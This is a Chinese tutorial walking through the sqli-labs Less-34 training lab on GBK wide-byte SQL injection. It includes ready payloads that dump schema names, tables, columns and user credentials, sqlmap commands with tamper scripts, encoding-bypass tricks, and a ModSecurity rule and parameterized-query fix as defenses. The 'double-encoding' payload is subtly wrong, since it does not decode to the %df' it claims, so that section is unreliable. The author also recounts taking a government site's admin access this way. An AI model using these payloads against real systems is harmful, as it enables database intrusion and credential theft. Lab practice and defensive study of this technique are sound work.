1. sqli-labs-Less-34通关实战解析

作为Web安全领域的经典靶场，sqli-labs的第34关（Less-34）是许多安全从业者进阶路上的关键节点。这个关卡主要考察宽字节注入（GBK Character Encoding Injection）的实战利用能力，相比前33关的单字节注入场景，Less-34在字符处理层面设置了更复杂的防御机制。我在实际渗透测试工作中发现，许多CMS系统至今仍存在类似的编码转换漏洞，掌握这关的技巧对真实环境审计极具参考价值。

2. 环境准备与漏洞原理

2.1 靶场环境搭建

建议使用Docker快速部署sqli-labs环境：

docker pull acgpiano/sqli-labs docker run -dt --name sqli-lab -p 80:80 --rm acgpiano/sqli-labs

访问http://localhost/Less-34/即可进入关卡。该关卡模拟了一个使用GBK编码的登录页面，后端采用PHP+MySQL架构，存在典型的用户名密码验证逻辑。

2.2 宽字节注入原理剖析

当MySQL使用GBK编码且PHP开启magic_quotes_gpc或addslashes时，单引号会被转义为\'。但GBK编码中%df%5c构成合法汉字"運"，攻击者通过构造%df'可使转义符\被"吃掉"：

原始输入: %df' 转义后: %df\' GBK解码: 運'

这样单引号成功逃逸，形成注入点。这种绕过方式在早期Discuz!、PHPWind等系统中屡见不鲜。

3. 手工注入全流程

3.1 确定注入点

使用Burp Suite拦截登录请求，修改username参数为：

admin%df' or 1=1 --+

提交后若成功登录，则确认存在宽字节注入。关键点在于：

• %df与转义符\组合成GBK字符
• --+注释后续SQL语句
• 不要对%df进行URL编码（Burp默认会编码，需在Raw模式下操作）

3.2 获取数据库信息

通过联合查询获取数据：

admin%df' union select 1,group_concat(schema_name) from information_schema.schemata --+

此时要注意：

1. 需先确定字段数（通过order by测试）
2. GBK编码可能导致部分字符显示乱码，可用hex()函数转换
3. 遇到过滤时可尝试/*!50000*/内联注释绕过

3.3 提取表数据

获取当前数据库表：

admin%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

提取users表字段：

admin%df' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+

4. 自动化工具利用

4.1 SQLmap配置要点

创建sqli.txt保存请求数据，关键配置：

# sqli.txt POST /Less-34/login.php HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded uname=admin%df*&passwd=123&submit=Submit

执行命令：

sqlmap -r sqli.txt --tamper=unmagicquotes --dbms=mysql --level=3

必须使用unmagicquotes脚本处理转义符，--level需≥3才能检测POST注入。

4.2 常见报错处理

1. 出现[CRITICAL] connection reset：检查%df是否被二次编码
2. 无法识别注入点：尝试--tamper=chardoubleencode
3. 中文乱码：添加--hex参数

5. 防御方案与实战启示

5.1 安全编码建议

1. 统一使用UTF-8编码
2. PDO参数化查询：

$stmt = $pdo->prepare("SELECT * FROM users WHERE username=? AND password=?"); $stmt->execute([$username, $password]);

3. 禁用magic_quotes_gpc（PHP5.4已移除）

5.2 运维防护措施

1. WAF规则示例（ModSecurity）：

SecRule REQUEST_URI|REQUEST_BODY "\xdf[\x20-\x7e]?'" \ "id:34001,phase:2,deny,msg:'GBK SQLi Attempt'"

2. MySQL配置：

[mysqld] character-set-server=utf8mb4 collation-server=utf8mb4_unicode_ci

6. 深度绕过技巧

6.1 双重编码绕过

当服务器自动解码时，尝试：

admin%%32%64%66%27

其中%32%64是2d的URL编码，最终仍解码为%df'

6.2 字符集混淆利用

若服务端强制转换字符集，可尝试：

admin%c0%27

在GBK中%c0不是有效前导字节，可能使转义符失效

7. 靶场通关验证

成功获取到users表数据的完整Payload：

uname=admin%df' union select 1,concat_ws(':',id,username,password) from users limit 1,1 --+&passwd=123&submit=Submit

返回结果应包含类似：

ID: 1, Username: admin, Password: 5f4dcc3b5aa765d61d8327deb882cf99

在真实渗透测试中，遇到GBK编码的系统要特别注意检查此类漏洞。我曾在一个政府网站审计中发现同样的问题，通过宽字节注入直接获取了后台权限。建议开发者在处理用户输入时始终使用mb_convert_encoding明确指定编码格式。